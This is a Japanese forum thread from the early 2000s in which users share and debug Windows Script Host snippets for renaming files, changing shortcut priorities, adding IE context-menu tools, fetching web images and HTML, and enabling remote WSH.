// var objFs = new ActiveXObject("Scripting.FileSystemObject");
var targetFolder = objFs.GetFolder(folderPath);

var enumFolder = new Enumerator(targetFolder.SubFolders);
for (; !enumFolder.atEnd(); enumFolder.moveNext())
{
var parentFolder = enumFolder.item();

var en = new Enumerator(parentFolder.Files);
for (; !en.atEnd(); en.moveNext())
{
var newFileName = parentFolder.Name + "_" + en.item().Name;
var newFilePath = objFs.buildPath(targetFolder.Path, newFileName);

if (!objFs.fileExists(newFilePath)) en.item().move(newFilePath);
}

en = new Enumerator(parentFolder.SubFolders);
for (; !en.atEnd(); en.moveNext())
{
var newFileName = parentFolder.Name + "_" + en.item().Name;
var newFilePath = objFs.buildPath(targetFolder.Path, newFileName);

if (!objFs.fileExists(newFilePath)) en.item().move(newFilePath);
}

if (parentFolder.Files.Count == 0 && parentFolder.SubFolders.Count == 0)
parentFolder.Delete();
}
}

すみません。>>224 の修正です。
var en = new Enumerator(parentFolder.Files);
for (; !en.atEnd(); en.moveNext())
{
var newFileName = parentFolder.Name + "_" + en.item().Name;
var newFilePath = objFs.buildPath(targetFolder.Path, newFileName);

if (!objFs.fileExists(newFilePath)) en.item().move(newFilePath);
}

en = new Enumerator(parentFolder.SubFolders);
for (; !en.atEnd(); en.moveNext())
{
var newFolderName = parentFolder.Name + "_" + en.item().Name;
var newFolderPath = objFs.buildPath(targetFolder.Path, newFolderName);

WScript.echo(newFolderPath);

if (!objFs.FolderExists(newFolderPath)) en.item().move(newFolderPath);
}

if (parentFolder.Files.Count == 0 && parentFolder.SubFolders.Count == 0)
parentFolder.Delete();
}
}

あと、
> var enumFolder = new Enumerator(targetFolder.SubFolders);
> for (; !enumFolder.atEnd(); enumFolder.moveNext())
が作りたてのフォルダも数え上げるようで、

c:\target\puyo\unyo\a.xxx
c:\target\puyo\unyo\b.xxx
は
c:\target\puyo_unyo_a.xxx
c:\target\puyo_unyo_b.xxx

になります。

>>207
>>ActiveX コントロールだけでなくすべてのCOMコンポーネントがWSHから利用できる
>>ようになればバラ色なんだけどなあ。
>>210
>>は「オートメーションオブジェクトだけでなくすべての...」のほうが

WSH の問題ではなく、スクリプトエンジンの問題
よって、カスタムインターフェイスだろうが、いろんなデータ型だろうが、
使えるスクリプトを作れば使える
タイプライブラリマーシャリングにたよるのだけれど...

こんなソフトありませんか？スレから、ヒントを得て作ったスクリプトです。

ショートカット(*.lnk)をD&Dすると、任意の優先度で実行するショートカットに
変化します。どう変化するかは、実際に変化させたショートカットのプロパティ
を覗いてみてください。なるほどなあ、と思いますよきっと。
Win2000専用。exeファイル以外のものを指定した場合の動作は保証しません。
一応、ウィンドウサイズ、コマンドラインオプション、作業ディレクトリ、アイコン
の設定は引き継ぎます。

実際のソースは、このスレがちょっと下がってから載せます。
バグがあったら教えてね。

'priority.vbs

Set WshShell = WScript.CreateObject("WScript.Shell")
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = False

For Each sArg In WScript.Arguments
If Fs.FileExists(sArg) And LCase(Fs.GetExtensionName(sArg))="lnk" Then
Set oShortCut=WshShell.CreateShortcut(sArg)
With oShortCut
sTargetPath=.TargetPath
If LCase(Fs.GetFileName(sTargetPath)) = "cmd.exe" Then
regEx.Pattern="\/([RHANBL]\S*)"
Set Matches =regEx.Execute (.Arguments)
For Each Match In Matches
sPriorityAccessKey = Left(Match.SubMatches(0),1)
Next
regEx.Pattern="cmd.*\s\/[RHANBL]\S*\s+(.*)"
Set Matches =regEx.Execute (.Arguments)
For Each Match In Matches
sProgArg =Match.SubMatches(0)
Next
Else
sPriorityAccessKey = "N"
sProgArg = RTrim(sTargetPath & " " & .Arguments)
End If

sPriorityAccessKey = InputBox("優先度を指定してください。" & vbCrLf & "[R]リアルタイム [H]高 [A]通常以上 [N]通常 [B]通常以下 [L]低", Fs.GetBaseName(sArg) & "(" & sProgArg & ")", sPriorityAccessKey)
If sPriorityAccessKey="" Then sPriorityAccessKey="0"
sPriorityAccessKey=Left(UCase(sPriorityAccessKey),1)

Select Case sPriorityAccessKey
Case "R" : sPriority="REAL"
Case "H" : sPriority="HIGH"
Case "A" : sPriority="ABOVENORMAL"
Case "N" : sPriority="NORMAL"
Case "B" : sPriority="BELOWNORMAL"
Case "L" : sPriority="LOW"
Case Else : sPriority=""
End Select

If sPriority<>"" Then
If LCase(Fs.GetFileName(sTargetPath)) = "cmd.exe" Then
If sPriorityAccessKey<>"N" Then
regEx.Pattern="\/([RHANBL]\S*)"
.Arguments=regEx.Replace (.Arguments, "/" & sPriority)
.Save
Else
MsgBox "通常のショートカットに戻す処理は未実装です。"
'(めんどくさいので。要望があったら書くけど)
regEx.Pattern="\/([RHANBL]\S*)"
.Arguments=regEx.Replace (.Arguments, "/" & sPriority)
.Save
End If

ElseIf sPriorityAccessKey<>"N" Then
iWindowStyle= .WindowStyle
Select Case iWindowStyle
Case 3 : sWindowStyleOpt=" /MAX "
Case 7 : sWindowStyleOpt=" /MIN "
Case Else : sWindowStyleOpt=""
End Select
.WindowStyle= 7 'MIN
.Arguments = RTrim("cmd /c start /d" & .WorkingDirectory & sWindowStyleOpt & " /" & sPriority & " " & sTargetPath & " " & .Arguments)
.TargetPath = "cmd.exe"
If .IconLocation=",0" Then
.IconLocation = sTargetPath & ",0"
End If
.Save
End If
End If
End With
End If
Next

スペースつきのパスだとダメなバグ修正。
修正したものをうｐしました。
http://www.roy.hi-ho.ne.jp/cgi-bin/user/mutaguchi/clickcnt.cgi?http://www.roy.hi-ho.ne.jp/mutaguchi/wsh/src/priority.lzh

ウッシュばんざ〜い！

前回のはいけてなかったので>>11さんのSpoitFilesと同じ操作性になるよう
修正しました。

c:\hoge\1.jpg
c:\hoge\2.jpg
c:\fugo\1.jpg
c:\fugo\2.jpg
c:\fugo\puyo\1.jpg
c:\fugo\puyo\2.jpg

を

c:\hoge_1.jpg
c:\hoge_2.jpg
c:\fugo_1.jpg
c:\fugo_2.jpg
c:\fugo_puyo\1.jpg
c:\fugo_puyo\2.jpg

にします。

hogeフォルダとfugoフォルダをドラッグ&ドロップするか送るで送ってください。

// spoitRename.js
var separator = "_";

var objFs = new ActiveXObject("Scripting.FileSystemObject");

var enArgs = new Enumerator(WScript.Arguments);
for (; !enArgs.atEnd(); enArgs.moveNext())
{
var parentFolderPath = enArgs.item();
if (objFs.FolderExists(parentFolderPath))
{
var parentFolder = objFs.GetFolder(parentFolderPath);
var granpaFolderPath = objFs.GetParentFolderName(parentFolderPath);

var en = new Enumerator(parentFolder.Files);
for (; !en.atEnd(); en.moveNext())
{
var newFileName = parentFolder.Name + separator + en.item().Name;
var newFilePath = objFs.buildPath(granpaFolderPath, newFileName);

if (!objFs.fileExists(newFilePath)) en.item().move(newFilePath);
}

en = new Enumerator(parentFolder.SubFolders);
for (; !en.atEnd(); en.moveNext())
{
var newFolderName = parentFolder.Name + separator + en.item().Name;
var newFolderPath = objFs.buildPath(granpaFolderPath, newFolderName);

if (!objFs.FolderExists(newFolderPath)) en.item().move(newFolderPath);
}

if (parentFolder.Files.Count == 0 && parentFolder.SubFolders.Count == 0)
parentFolder.Delete();
}
}

WScript.Echo("おしまい！");

下がりすぎあげ

WSHには飽きたので、次はフォルダのカスタマイズだ(w
http://pc.2ch.net/test/read.cgi/win/1011536679/

11は向こうでも11?

>>239
11取れたから。ほんとは10=11です(w

もしよろしければヒントくださいです〜

IEの右クリックで「名前をつけて画像を保存」ってあるじゃないですか。
えろえろ画像収集の際に一際大活躍するわけですが…

しかし、その手のエロサイトでよくあるのが、
ページは違うけど画像ファイル名がどれもこれも[01-10].jpgになってるヤツ…
その場合、一々フォルダを作ったり、
手作業で保存ファイル名を変更するのですが、正直めんどくさい…

そこで思ったのは、呼び出すたびに、
保存ファイル名を自動的に連番ファイル名に変更してくれるような
「名前をつけて画像を保存」があったら便利だろうなぁ、と…

でもどうやって実装すればいいのかがわからないのです。
連番ファイル名そのものは、おそらく、
レジストリなり、どこかのテキストファイルなりに記録して
変更していけばいいのではと思うのですが、
画像保存に関連するところの処理をどう書けばいいのかさっぱり…
何か参考になる文献等ありませんでしょうか。
もしくはサンプルとか…

ダウンローダー使うべし。。。

>>242
なんと。DLソフトで同様の事出来ます？
一般的なDLソフトの設定だと、
ファイル名が同じものを同じフォルダにDLすることになるでしょうから
上手く行かないような気もするのですが。
（設定の仕方によっては回避できそうな気もするけど…
　もしもそのあたり、オススメのDLソフトがあればぜひ参考にさせてください）

実は↓のように配布してた方もいらっしゃるようなのですが、
http://nomura.virtualave.net/
配布中止になってるみたいで。
技術的にはできることなのでしょうけど、
どこから手をつけていいのかがわからない…

>>243
www.hoge.com/puyo/[00-10].jpg
等の文字列を選択(反転)して右クリックメニューから｢Queueを作る｣を
選択すると、

puyo_00.jpg
puyo_01.jpg
puyo_02.jpg
…

ちゅうファイル名で保存するためのIrvine用のqueueリストを指定した場所
に作成します。

Irvineで読み込んで使用してください。

↓hoge.regという名前にリネームしてダブルクリック
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\Queueを作る(&Q)]
@="C:\\ieplugin\\makequeue.htm"
"contexts"=hex:10

↓C:\ieplugin\makequeue.htmとして保存

<HTML>
<SCRIPT LANGUAGE="JScript" defer>

//////////////// config ////////////////////////
var queueFilePath = "C:\\downloads\\queue.irv";
////////////////////////////////////////////////

var text = external.menuArguments.document.selection.createRange().text;
var str = text.replace(/^.*:\/\//, "");
str = str.replace("和塩", "www.geocities.co.jp");
str = str.replace("米塩", "www.geocities.com");
str = str.replace("和鳥", "www.toripod.co.jp");
str = str.replace("米鳥", "www.toripod.com");

if (str=="")
alert ("You must select some text to search for first.");
else {
var url = "http://" + str;
var ForReading = 1, ForWriting = 2, ForAppending = 8;
var TristateUseDefault = -2, TristateTrue = -1, TristateFalse = 0;

var objFs = new ActiveXObject("Scripting.FileSystemObject");
objFs.CreateTextFile(queueFilePath);
var file = objFs.GetFile(queueFilePath);
var fout = file.OpenAsTextStream(ForWriting, TristateUseDefault);

var urlList = new Array();
expandUrl(urlList, url);

while (urlList.length > 0)
fout.Write(makeIrvineQueue(urlList.pop()));

fout.Close();
}

function makeIrvineQueue(url)
{
var re = new RegExp("([^/]+)/([^/]+)$");
var arr = re.exec(url);

var saveFileName = RegExp.$1 + "_" + RegExp.$2;

return url + "\t\t" + saveFileName
+ "\t\t\t\t0\t0\t\t\t\t0\t\t0\t0\t0\t\t0\t\t\n";
}

function expandUrl(urlList, url)
{
var re = new RegExp("[[]([0-9]+)-([0-9]+)[]]");
var arr = re.exec(url);

if (arr == null)
{
urlList.push(url);
return;
}

var beginStr = RegExp.$1; //エイリアス
var begin = parseInt(RegExp.$1);
var end = parseInt(RegExp.$2);
var leftContext = new String(RegExp.leftContext);
var rightContext = new String(RegExp.rightContext);

var fillMode = false;
var fillSize = 0;

if (beginStr.charAt(0) == "0")
{
fillMode = true;
fillSize = beginStr.length;
}

for (var i = begin; i <= end; i++)
{
var si = i.toString();
if (fillMode) while (si.length < fillSize) si = "0" + si;

var expUrl = leftContext + si + rightContext;
expandUrl(urlList, expUrl);
}
}

curl -O www.hoge.com/puyo/[00-10].jpg

>>241
117さんが、Irvine用のリスト作成スクリプトを書いてくれてるので、
私は、標準機能だけで実現する方法を考えてみます。考えるだけ。

まず、リンク上での右クリックメニューに対応するスクリプトを作ります。
やり方は >>60-62とか>>67とかを。

そのスクリプトでは、次の処理をやります。

1. リンク先が画像ファイルかどうかを調べる。

2. もし画像ファイルなら、
CreateObject関数でInternet.Applicationを呼び出し、
リンク先にNavigateする。

3. ロードが完了したら、ExecWBメソッドを実行。
与える引数はExecWB(4,0,filepath)。
これで「名前を付けて保存」ダイアログが表示される。
filepathを適切に指定するのがポイント。
たとえばリンク先が
http://www.hoge.com/pics/12.jpg なら
pics_12.jpgというファイル名になるようにする。

わかる人じゃないとわからない書き方になってますが、
Googleとか駆使したらわかるかも。

でも、IriaさんのURL構造を再現してダウンロードする機能を使えば、
こんなスクリプトは必要ないかも知れぬ。

あと、IriaAPIってのは、実はすごい柔軟性があって、自分なりの
Iriaを使用したIE右クリックメニューのスクリプトを作るのもいいですね。

IriaAPIのリファレンスってどこかにあるのかな。
私は、Iriaについている*.htmと、VBのオブジェクトブラウザを参考資料に
してますが。

WshShell オブジェクトの Run メソッドを使うと
コンソールアプリケーションを非表示で実行したり出来るよね。
今は出力をファイルにリダイレクトしているのだが
Exec メソッドを使えば、標準出力をオブジェクトとして
扱えるそうな。しかし問題発生！
Run メソッドはウィンドウの状態を引数で指定できるが
Exec メソッドはそれが出来ない。
ウィンドウ非表示でコンソールアプリケーションを実行して
標準出力をオブジェクトで取得する方法はないものか？

>>251
私も知りたい。
それができたら、コマンドラインプログラムを呼び出して、
結果を取得して表示するという流れが、まるでWSH単独の
機能で実現しているかのような、スマートなスクリプトが
書けるのにね。

ちなみにExecメソッドはWSH5.6からの機能。
WinXPに標準搭載されてるやつね。
http://www.asia.microsoft.com/japan/developer/workshop/languages/clinic/scripting11132000.asp

たとえばこんなことができるわけ。

'nslookupを使ってホスト名からIPを調べる for Win2000+WSH5.6
Const WshFailed = 2
Const WshFinished = 1
Const WshRunning = 0

Set WshShell = WScript.CreateObject("WScript.Shell")

Set oWshScriptExec = WshShell.Exec("nslookup.exe") 'nslookupを実行。

If oWshScriptExec.Status = WshRunning Then

WScript.Sleep 1000
Set oStdIn=oWshScriptExec.StdIn '標準入力のオブジェクトを返す。(実体はTextStream)
Set oStdOut=oWshScriptExec.StdOut '標準出力のオブジェクトを返す。(実体はTextStream)
oStdIn.WriteLine "www.2ch.net" 'ホスト名入力
WScript.Sleep 2000
For I=1 To 6 '6行スキップ
oStdOut.ReadLine
Next
MsgBox oStdOut.ReadLine & vbCrLf & oStdOut.ReadLine 'IPが表示される
oStdIn.WriteLine "exit" '終了コマンド入力。
Set oStdIn = Nothing
Set oStdOut = Nothing

End If

>>243
そのサイトにあるツールですけど、某いんたあねっとあーかいぶ
残ってましたよん。

インストーラーがexeファイルだったので、念のため試すのはやめときましたが。

Dim fso,f,mes1,mes2
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(fso.getAbsolutePathName(""))

If f.attributes and 4 Then
f.attributes = f.attributes - 4
mes = "しすてむぞくぜーをふ"
Else
f.attributes = f.attributes + 4
mes = "しすてむぞくぜーをん"
End If

msgbox mes,64,"しすてむぞくぜーちぇんじしるぞごるぁ"

Win98の頃はよく使ったフォルダアイコン変更に欠かせない
ActiveXもつ勝手テキストプレヴゅフォルダ逝けないか？

>>244-250
うおおお！　ありがとうです。ムチャクチャ勉強になります。感謝感激です！
早速このスレを保存しました。
これでまたWSHの勉強ができます。ありがとうage〜

IEの右クリックメニューから呼び出す VBScript で表示しているページのHTML
ソースをファイルに落として別プログラムに食わせようとしています。

str = external.menuArgument.document.documentElement.outerHTML
ts.WriteLine(str)

みたいな感じで(途中端折ってます)普通のページはうまくいくのですが、＆hearts;
のような特殊文字があるページでは WriteLine メソッドを実行するところで引数が
不正というエラーが出てしまいます。
Popup で str を表示してみると特殊文字の所は ? 一文字になっているみたい。

エラー起こさないで ＆hearts; のままソースを書き出す方法はないでしょうか?

テキストファイルの行頭に行番号をつけるようなのはできませんか？

hoge1
hogehoge
hoge2

↓

1 hoge1
2 hogehoge
3 hoge2

みたいな。

sprintf みたいに書式付で文字出力する方法って無いですか？
もしくは数字だけでも構いません．

例：
15 -> 0015
17 -> 0011

>>257 テキストファイルsample.txtを作って以下をline.jsで保存し実行
--------------------------------
var i=0;
var fname = "sample.txt";
var fs = WScript.CreateObject("Scripting.FileSystemObject");
var streamRead = fs.OpenTextFile( fname );
var streamWrite = fs.CreateTextFile( fname + ".txt" );
while(!streamRead.AtEndOfStream)
streamWrite.Write( (++i) + " " + streamRead.ReadLine() + "\n" );
streamWrite.Close();
streamRead.Close();

>>258
JavaScript版sprintf
http://www.goice.co.jp/member/mo/amuse/javascript/expert/

>>256
初めて聞く現象だなー。

・＆を＆amp；にReplace関数で置換してみる。
・TextStreamをUnicodeで開く。
・outerHTMLを一文字ずつチェックして(Mid関数とかでループをまわして)、
＆hearts；とかの文字がどういう文字になってるか調べる。vbNullStringとかになってるかもね。

とか、いろいろ試してみて。
結果が気になるので報告ｷﾎﾞﾝ。
それから対策を立てましょ。

>>254
フォルダのカスタマイズに関しては、
http://pc.2ch.net/test/read.cgi/win/1011536679/
に逝こう。ついでにage。

>>259
ありがとうございます。
バッチファイルと組み合わせていろいろ怪しい物を作ろうと思います

ふつーに、いつもつかってるやつです。俺のスキルはこれで限度です。

'WinMXのサーバーリストと、デスクトップ上の *.wsx ファイルを削除する。

Dim FSO
Set FSO = CreateObject("scripting.FileSystemObject")

Dim DT_Pth
Dim MX_Pth

DT_Pth = "C:\Documents and Settings\Administrator\デスクトップ"
MX_Pth = "c:\Program Files\WinMX\nservers.dat"

Dim TMP
on error resume next
For Each TMP In FSO.GetFolder(DT_Pth).Files
IF Right(TMP,3) = "wsx" then
FSO.DeleteFile(TMP)
End If
Next

FSO.DeleteFile(MX_Pth)

お前らファイル名の変換くらいだったらCygwinでやったほうが簡単だぞ

>>262
ｱﾘｶﾞﾄﾃﾞｽ!!

汚染を除去しました。

>>260
ありがとうございました．＾＾//

ファイル名を変換するためだけにcygwinインストールすれっつのは、
明らかに非効率的だな。

ファイル名の変換のためだけに、WSHの文法覚えるのも非効率なので、
その辺は、その人しだいでしょ。

>>259とバッチファイルとDelphiで
フォルダ内のアイコンをまとめてDLLにするスクリプト(?)作った。

>>269-270
そうそう。たまに常駐してどうのこうの、というスクリプトを
WSHで書こうとする人がいますけど、ああいうのはWSHには
向いてない。やっぱ、適材適所だよね。

ただ、WSHを覚えておくと、Windowsがあるところどこででも(ネットワーク
に接続してない環境でも!)すぐに使えるというメリットはある。
スクリプトの記述は、メモ帳でも十分できますしね。

javascriptとかvbsctiptって書きづらいよな。
ついでに言うなら、unix shell scriptも書きづらいし。

>>271
くれよそれ。

と、高飛車に迫ってみる。

>>227
無理でしょ。
そしたら、VBやC#が売れなくなっちゃう。（ｗ

>>267
ごめん、反省した。WSHってすごいよね
１０年前のソフトで１行でできることがWSH
を使うとあれ不思議。５行くらい必要なのだ！
それにはわけがあるんだ。なんていっても
スクリプト言語だけど天才にしかつかえないオブジェクト志向なハイレベルな手順がたく
さん。
高度なユーザにはぴったりだ
そして、何とGUIの操作ができる！でも
あまりに高度すぎて馬鹿な俺はダイアログ以外のだしかたが分からなかったのだ！
高度な事をやる高度なユーザのための高度なツールこれこそWSHだよね
それが証拠にWSHでつくられたVIRUSがたくさんでてきている。
もうWindowsはハカーのためのOSといっていいだろう。
そしてもうひとつの強みはほとんどのWINDOWSには知らない間に
組み込まれてるってこと。作ったソフトをすぐに友達のパソコンでも実行できちゃう。
これは開発者には最高だよね
一般人にはまるでMS製トロイのようだが高度なユーザには必須なアイテムだ
WSH万歳!!

>>274
271を書いてからしまったなあと思ったのだが、
「Delphiでつくった」んじゃなくて
「実行にDelphi6が必要」なんだが、それでもいい？

>>276
ﾜﾛﾀ

>>277
DelphiでCOM化してDLLとして配布してﾎｽｨかも
DLLやEXEからアイコンを抽出する機能もあったらいいな。

（´-`）oＯ(>>279 がんばるよ…　アイコン抽出はめんどいかも)

（´-`）oＯ(ていうかバッチファイル)
http://sakots.pekori.jp/download/ico2dll.zip

みんなでひまわりを観察しよう．
以下をhimawari.vbsとして保存，実行．(起動しっぱなしになるので注意)
----------------------------------
Do
ForderName =""
FileName ="Himawari_"
URL = "http://www.jwa.or.jp/sat/images/sat-japan.jpg"
GetImegeFile ForderName, FileName, URL
WScript.Sleep 3600000
Loop

Function GetImegeFile( iForderName, iFimeName, iURL )
Const adTypeBinary = 1
Const adSaveCreateNotExist = 1
Const adSaveCreateOverWrite = 2

Set HTTP = WScript.CreateObject("Microsoft.XMLHTTP")
Set Stream = WScript.CreateObject("Adodb.Stream")
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
Set Shell = WScript.CreateObject("Shell.Application")

sFilePath = Fs.GetAbsolutePathName( iForderName ) & "\" &iFimeName & Split( _
Now, "/" )(0) & Split( Now, "/" )(1) & Split(Split( Now, "/" )(2)," ")(0) & _
Split(Split(Split( Now, "/" )(2)," ")(1), ":" )(0) & Split(Split(Split( _
Now, "/" )(2)," ")(1), ":" )(1) & "." & Split( iURL, "." )(UBound( _
Split(iURL,".") ))
HTTP.Open "GET", iURL, False
HTTP.Send
Stream.Type = adTypeBinary
Stream.Open
Stream.Write HTTP.responseBody
Stream.SaveToFile sFilePath, adSaveCreateOverWrite
End Function

>261
環境を書くの忘れていました。Win2K SP2 と IE 5.01SP2 です。

htmlタグと＆hearts; だけのファイルを作って試してみました。
まず TextStream を Unicode で開いたところ、無事書き込みに成功。できたファイルを
開いてみると、＆hearts; の部分はハートマークに化けてます。また、この時元のソース
にはない HEADタグや BODYタグが追加されています。

ループを回して一文字ずつ調べてみると件の文字は一文字として扱われているようです。
wsh.Popup メソッドでは表示できないようですが。
そういうわけで＆を Replace するというのはそもそも＆がなくなっているのでできません。

ちなみに特殊文字でなく amp や lt なんかは解釈されずにそのまま出てくる模様。
と思ったら別のマシンでは＆や＜に化けてる。ただし WriteLine は成功する。
同じ Win2k SP2+IE 5.01SP2 のはずなのに。謎

つまり SJIS に該当するキャラクタがない Unicode文字をファイルに書こうとして失敗して
いるという事ですかね。さてどうしよう...
なんかキャッシュされているソースファイルを見たほうが早いような気がするけど、これは
どうやって得るんでしょうか?

しかし VBScript 正直よくわからん、ので PerlScript を試してみたんだけど今度は
menuArgument にアクセスできない。鬱

>>281
ありがとう、もらったよ。さんくす

たまにはあげよう

>>283
＆hearts；とかの「名前付きエンティティ」というやつは、IEからHTMLの
DOMにアクセスした時点でUnicode化されて、指定されたキャラクタに
変換されてしまうんでしょう。
身に覚えのないhead要素やbody要素も、IEを介してDOMにアクセスしていることが
原因です。(IEは、生のHTMLをエラーのない形に解釈してからDOMとして
取り扱うみたいなので、元のソースとは異なってくる)
(ちなみにVBScript自体は文字列をUnicodeとして扱っているので、
MsgBoxでouterHTMLとかを表示すると、ちゃんとハートマークが表示される)

ここは一つ、IEを直接には介さずに、httpで直にGETした結果を参照
してやることにしましょう。
"microsoft.xmlhttp"を使うとそれができるんですが、この.responseBodyが
Unicodeだったりするので話はややこしい。一度Unicodeとして保存し、
次にShift-JISとして開いてやる必要がある。その状態でもまだごみが残るので、
そこを読み捨てて再度上書き保存すると完成です。

今回紹介するGetHTMLDocumentはFunctionプロシージャですが、これは
コード中でどうしてもHTMLの中身を取得しないといけないので、ついでに
その中身を返してやるためFunctionにしてあるだけです。保存だけが目的なら
SubプロシージャでもOK。

コードはまたちょっとスレが下がってから書き込みます。

MsgBox GetHTMLDocument ("URL","保存先パス")

Function GetHTMLDocument(sURL,sFileName)
On Error Resume Next
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
Set xh = WScript.CreateObject("microsoft.xmlhttp")
xh.Open "GET", sURL, False
xh.Send
If Err.Number<> 0 Then
sErr=sErr & sURL & ": " & Err.Description
GetHTMLDocument=""
Exit Function
End If
On Error Goto 0
Set ts=Fs.CreateTextFile(sFileName,True,True) 'UNICODEとして書き込む
ts.Write xh.responseBody
ts.Close
Set ts=Fs.OpenTextFile(sFileName,1,False,0) 'SJISとして読む
If Not ts.AtEndOfStream Then
ts.Read(2) '2バイトのごみ(UNICODEヘッダ?)
If Not ts.AtEndOfStream Then
sTempStr = ts.ReadAll
End If
End If
ts.Close
Set ts=Fs.CreateTextFile(sFileName,True,False) 'SJISとして保存
ts.Write sTempStr
ts.Close
GetHTMLDocument=sTempStr
End Function

age

あげ。ネタ切れか?

自分で書けてナンボのスクリプトだからな..............

>288
わざわざスクリプト例までありがとう。単体で試してみたけど確かにうまく動きました。
しかし実はやりたかったのは IEコンポーネントを使った 2chブラウザが表示している
スレの内容に対する処理だったので、HTML で GETするわけにもいかないです。

ともあれ、outerHTML を Unicode モードで書き出すと BOM付き UTF16-LE で保存
されることがわかったので、こいつを Perl に食わせてコード変換することで当初の目
的は果たせました。それにしても… Unicode 逝ってよし!

<script language="JavaScript">

var IE = new ActiveXObject("InternetExplorer.Application")
IE.Visible = 0;
IE.Navigate("http://www.yahoo.com");

</script>


上のコードでyahooの画面でますか？
僕のマシンではでます。
どういう原因が考えられるでしょうか？

作業用で非表示のIEオブジェクトを使いたいのですが、なぜか上のサンプルのようにしても
IEがVisibleになります。

>>293
IE.Visible = false;
では? つーか、省略してもOKかと。

おっしゃるとおりですね。
問題は他の人のマシンでは正常に動くが、自分のではおかしいということです。。。

>>296
IE4.0xを使ってるとか? 非表示にしてもNavigateしたら表示されてしまう
現象があったようななかったような。
navigateした直後に、Visible=falseしてもだめですか?

すいません、WSHの勉強中なのですが、WSH5.6の新機能のリモート実行の概念がよくわかりません。
これってクライアントからサーバーのアプリを[サーバーのプロセスで]実行できるってことでいいんですか？

むぅ、Wscript.Controllerの作成は理解できてもそれ以上がわからん…。
リモート実行のサンプルがﾎｽｨ…。

>>298
とりあえずヘルプ落として見れ。
http://download.microsoft.com/download/winscript56/Install/5.6/W98NT42KMe/JA/scd56jp.exe
Windows スクリプト テクノロジ\Windows Script Host\リモート WSH をセットアップする
Windows スクリプト テクノロジ\Windows Script Host\基本的な Windows Script Host タスク\スクリプトをリモートで実行する

ローカルにあるスクリプトファイルをリモートコンピュータに送って、リモート先で
そのスクリプトファイルを実行させる機能です。

セットアップにwindowsscript.admファイルってのが要るらしいんですが、
これがどこにもないんだな(WSHのヘルプはこんなんばっかしだ)。

Googleでmicrosoft.public.scripting.wshの記事を検索してみると、
リモートWSHを有効にするには、どうやらレジストリを直接いじるしかないらしい。
リモートコンピュータのHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settingsキーの
Remoteという文字列値を0→1にすると、リモートWSHの実行が許可されるらしい。

>299
がが〜ん！やっぱり windowsscript.adm って無いのか…。
ヘルプ見ながら格闘して、ローカル、リモホのそれぞれで単体動作するスクリプト作ったけど、どうしてもリモート実行できなかったんで…。

とりあえずレスに感謝！

>>300
レジストリをいじって再度TRY!
できれば結果報告して欲しいです。(動作環境も)
私もWshRemote動かしてみたことないんで。

WshRemoteは、DCOMを使ってリモートアクセスするので、
DCOMの設定も必要かもしれません。
dcomcnfg.exeでWSHRemoteの項目をいじってやってください。

Win98/MEの人はこちらで落とす。98用だけどMEでも使えるみたい。
http://www.microsoft.com/japan/com/dcom/dcom98/dcom13.asp

http://www.microsoft.com/japan/developer/library/default.asp?PP=/japan/developer/library/toc/script56/script560.xml&tocPath=script560&URL=/japan/developer/library/script56/vtoriMicrosoftWindowsScriptTechnologies.htm

さてと、ゆっくりこのスレ読むか・・・
VBSは型無し言語のようだな・・・。
ふーむ。

>>303
プログラム板に「型なし言語逝ってよし」とかいうスレがあったな…。

ありましたなぁ・・・。
数値型と文字列型とわかれていると
ﾁﾋﾞｯﾄうれしいですがね。

それはともかく、
エディタは何を？

メモ帳？

>>305
とりあえずVBSでも、C*系型変換関数は使えるので、何とかなることもある。
DynaCall(http://www.borncity.com/WSHBazaar/WSHDynaCall.htm)という
コンポーネントを使うと、Win32(に限らんが)APIが、WSHからも呼び出せるんだけど、
構造体を引数に取る関数だけはどうしようもない。
VBSには型がないということは、Typeステートメントも使えないということだから。

VBSとVBの機能差は、おおむね納得できるんだけど、
Select CaseでToが使えないのは、納得できん。
そのかわり、正規表現が使えたり、Execute/Evalがサポートされ、
VBより優れた点もできたわけだが。

>>306
メモ帳で作ると、まさにOSの機能だけ使っててｶｺｲｲんですが、
さすがにメモ帳ではつらいっす…
EmEditor ver2かTeraPad使ってます。

自動インデント・キーワード色分け・行番号表示・エディタから編集中のスクリプトを実行
これらの機能を備えているエディタから、お好きなのを選ぶといいかと。

海外にはWSH専用エディタなんてのもあるよ。
http://www.sapien.com/primalscript.htm
ただし日本語が通らないという噂もあるが…。

ｵﾛｵﾛ…
長文ｻﾝｸｽｺ
VCと同時並行でお勉強致しまする・・・。

WshShell オブジェクトが個人的には面白そう。
インターネット用のオブジェクトはいかに？

ﾏﾀｰﾘｶﾞﾝﾊﾞﾛ。

WSHってわざわざ勉強するほどのものではないんじゃないかと思うなぁ。
というのも、スクリプト言語ってちょっとしたバッチ処理をこなすために使うのが
ほとんどだと思うんだけど、VBSやJSって、Perl、Ruby、Pythonと比べると、
機能が貧弱だし、遅いし、なによりも書きづらいと思う。

Windowsのシェル周りでちょこちょこ処理行ったりとか、
WSHが得意とする分野もあるにはるんだけど、
あんまり使わないんだよね。個人差あるかもだけど。
もしそういうプログラムを作りたいってときでも、
VBやDelphiとかお手軽にプログラム作れる環境があるなら、
そっちでやっちゃった方がなんか楽だとおもう。

如何。

>>310
この意見は、プログラマーな人の代表的な意見だと思うです。
別に好き好きだから否定しないけど、Windowsに最初からついてる
っていう強みは大きいと思うですよ。
たとえば、このスレにあるスクリプトをコピペするだけで、
たいていのWindows環境ではそのまま動くし。

どうでもいいけど、Perl、Ruby、Pythonは、追加モジュールを入れれば
どれもWSHで動くよ。
(動かす意味があるかどうかは知らんけど)

Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "E:\cygwin\cygwin.bat"
WScript.Sleep 500
WshShell.SendKeys "cd /"
WshShell.SendKeys "{ENTER}"
ちょっと遊んでみた。ほとんどｺﾋﾟｰﾍﾟだけど。

wshはやっぱりWindows標準ってところが大きいんじゃないかな？
>>310
確かにそうかもしんないねぇ。

ネットからhtmlファイル落とすにはIria使うしかないのかな？

>>311
たしかに覚えておけば、どこのパソコンでも使えるってのは、
強みではあるね。
たまに余所のパソコン弄ってて、Perlくらいインストールしとけーとか
